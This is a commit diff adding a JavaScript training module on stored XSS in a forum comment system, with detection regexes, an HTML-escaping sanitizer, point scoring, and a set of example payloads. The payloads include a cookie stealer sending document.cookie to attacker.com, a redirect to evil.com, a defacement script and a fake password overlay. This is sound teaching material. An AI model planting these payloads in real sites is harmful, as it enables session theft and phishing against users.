Add lessons
This commit is contained in:
@@ -0,0 +1,236 @@
|
||||
const LessonModule = require('../base/LessonModule');
|
||||
|
||||
/**
|
||||
* Forum Script Injection Lesson
|
||||
* Demonstrates stored XSS vulnerabilities in comment systems
|
||||
*/
|
||||
class ForumScriptInjectionLesson extends LessonModule {
|
||||
constructor(config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect script injection in comment content
|
||||
* @param {string} content - Comment content
|
||||
* @returns {boolean} True if script detected
|
||||
*/
|
||||
detectScriptInjection(content) {
|
||||
const patterns = [
|
||||
/<script[\s\S]*?>/gi,
|
||||
/on\w+\s*=/gi,
|
||||
/javascript:/gi,
|
||||
/<iframe/gi,
|
||||
/<object/gi,
|
||||
/<embed/gi,
|
||||
/<svg[^>]+onload/gi,
|
||||
/<img[^>]+onerror/gi
|
||||
];
|
||||
|
||||
return patterns.some(pattern => pattern.test(content));
|
||||
}
|
||||
|
||||
/**
|
||||
* Analyze injection type
|
||||
* @param {string} content - Comment content
|
||||
* @returns {Object} Analysis result
|
||||
*/
|
||||
analyzeInjection(content) {
|
||||
if (/<script[\s\S]*?>/gi.test(content)) {
|
||||
return {
|
||||
type: 'SCRIPT_TAG',
|
||||
severity: 'high',
|
||||
description: 'Script tag injection detected. Can execute arbitrary JavaScript.',
|
||||
example: 'Steals cookies, hijacks sessions, or redirects users.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/on\w+\s*=/gi.test(content)) {
|
||||
return {
|
||||
type: 'EVENT_HANDLER',
|
||||
severity: 'high',
|
||||
description: 'Event handler injection detected. Executes code on user interaction.',
|
||||
example: 'Triggers malicious code when user clicks or hovers.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/javascript:/gi.test(content)) {
|
||||
return {
|
||||
type: 'JAVASCRIPT_PROTOCOL',
|
||||
severity: 'medium',
|
||||
description: 'JavaScript protocol detected. Can execute code when clicked.',
|
||||
example: 'Often used in links to execute JavaScript.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/<iframe/gi.test(content)) {
|
||||
return {
|
||||
type: 'IFRAME',
|
||||
severity: 'high',
|
||||
description: 'IFrame injection detected. Can embed malicious external content.',
|
||||
example: 'Loads phishing pages or malware from external sources.'
|
||||
};
|
||||
}
|
||||
|
||||
if (/<img[^>]+onerror/gi.test(content)) {
|
||||
return {
|
||||
type: 'IMG_ONERROR',
|
||||
severity: 'high',
|
||||
description: 'Image error handler injection detected.',
|
||||
example: 'Always executes when using invalid image source.'
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
type: 'NONE',
|
||||
severity: 'none',
|
||||
description: 'No script injection detected.',
|
||||
example: 'Content appears safe.'
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize comment for display
|
||||
* @param {string} content - Comment content
|
||||
* @returns {string} Sanitized content
|
||||
*/
|
||||
sanitizeComment(content) {
|
||||
return content
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a comment to the forum (simulated)
|
||||
* Called via executeLessonAction endpoint
|
||||
* @param {string} participantId - Participant identifier
|
||||
* @param {string} author - Comment author name
|
||||
* @param {string} content - Comment content
|
||||
* @param {string} stepId - Step identifier
|
||||
* @param {number} eventLessonId - Event lesson ID for point awards
|
||||
* @returns {Object} Comment data with injection analysis
|
||||
*/
|
||||
async addComment(participantId, author, content, stepId, eventLessonId) {
|
||||
const hasInjection = this.detectScriptInjection(content);
|
||||
const analysis = this.analyzeInjection(content);
|
||||
const sanitized = this.sanitizeComment(content);
|
||||
|
||||
// Award points based on injection type discovered
|
||||
let pointsAwarded = 0;
|
||||
if (hasInjection && participantId && eventLessonId) {
|
||||
const pointsMap = {
|
||||
'SCRIPT_TAG': 40, // Classic script tag
|
||||
'EVENT_HANDLER': 35, // Event handler injection
|
||||
'JAVASCRIPT_PROTOCOL': 25, // JavaScript protocol
|
||||
'IFRAME': 45, // IFrame embedding
|
||||
'IMG_ONERROR': 40, // Image error XSS
|
||||
'NONE': 0
|
||||
};
|
||||
|
||||
pointsAwarded = pointsMap[analysis.type] || 20;
|
||||
|
||||
if (pointsAwarded > 0) {
|
||||
try {
|
||||
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
|
||||
`Stored XSS discovered: ${analysis.type}`);
|
||||
} catch (error) {
|
||||
console.error('Failed to award XSS points:', error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
id: Date.now(),
|
||||
author: author || 'Anonymous',
|
||||
content: content,
|
||||
sanitizedContent: sanitized,
|
||||
timestamp: new Date().toISOString(),
|
||||
hasInjection,
|
||||
injectionType: analysis.type,
|
||||
injectionSeverity: analysis.severity,
|
||||
injectionDescription: analysis.description,
|
||||
injectionExample: analysis.example,
|
||||
pointsAwarded
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Get interactive data for forum demo step
|
||||
* @param {string} stepId - Step identifier
|
||||
* @returns {Object} Interactive component data
|
||||
*/
|
||||
async getInteractiveData(stepId) {
|
||||
if (stepId === 'forum-demo') {
|
||||
return {
|
||||
forumPost: {
|
||||
id: 1,
|
||||
title: 'Welcome to the Security Forum!',
|
||||
author: 'Admin',
|
||||
content: 'This is a demonstration forum for learning about stored XSS vulnerabilities. Feel free to post comments below. Try both safe comments and XSS payloads to see how the system detects them.',
|
||||
timestamp: '2026-02-08T10:00:00Z'
|
||||
},
|
||||
initialComments: [
|
||||
{
|
||||
id: 1,
|
||||
author: 'Alice',
|
||||
content: 'Great post! Looking forward to learning about security.',
|
||||
timestamp: '2026-02-08T10:05:00Z',
|
||||
hasInjection: false
|
||||
},
|
||||
{
|
||||
id: 2,
|
||||
author: 'Bob',
|
||||
content: 'Thanks for sharing this information.',
|
||||
timestamp: '2026-02-08T10:10:00Z',
|
||||
hasInjection: false
|
||||
},
|
||||
{
|
||||
id: 3,
|
||||
author: 'Charlie',
|
||||
content: 'Very informative! Can\'t wait to try the demos.',
|
||||
timestamp: '2026-02-08T10:15:00Z',
|
||||
hasInjection: false
|
||||
}
|
||||
],
|
||||
examplePayloads: [
|
||||
{
|
||||
label: 'Cookie Stealer',
|
||||
author: 'Attacker',
|
||||
payload: '<script>fetch(\'http://attacker.com/steal?c=\'+document.cookie)</script>',
|
||||
description: 'Attempts to steal session cookies'
|
||||
},
|
||||
{
|
||||
label: 'Redirect Attack',
|
||||
author: 'Malicious User',
|
||||
payload: '<script>window.location=\'http://evil.com\'</script>',
|
||||
description: 'Redirects users to malicious site'
|
||||
},
|
||||
{
|
||||
label: 'DOM Manipulation',
|
||||
author: 'Hacker',
|
||||
payload: '<script>document.body.innerHTML=\'<h1>Site Hacked!</h1>\'</script>',
|
||||
description: 'Defaces the website'
|
||||
},
|
||||
{
|
||||
label: 'Image Onerror XSS',
|
||||
author: 'Sneaky',
|
||||
payload: '<img src=x onerror="alert(\'XSS Vulnerability\')">',
|
||||
description: 'Executes code via image error handler'
|
||||
},
|
||||
{
|
||||
label: 'Phishing Overlay',
|
||||
author: 'Phisher',
|
||||
payload: '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form>Password: <input type="password"></form></div>',
|
||||
description: 'Creates fake login overlay'
|
||||
}
|
||||
]
|
||||
};
|
||||
}
|
||||
|
||||
return await super.getInteractiveData(stepId);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = ForumScriptInjectionLesson;
|
||||
Reference in New Issue
Block a user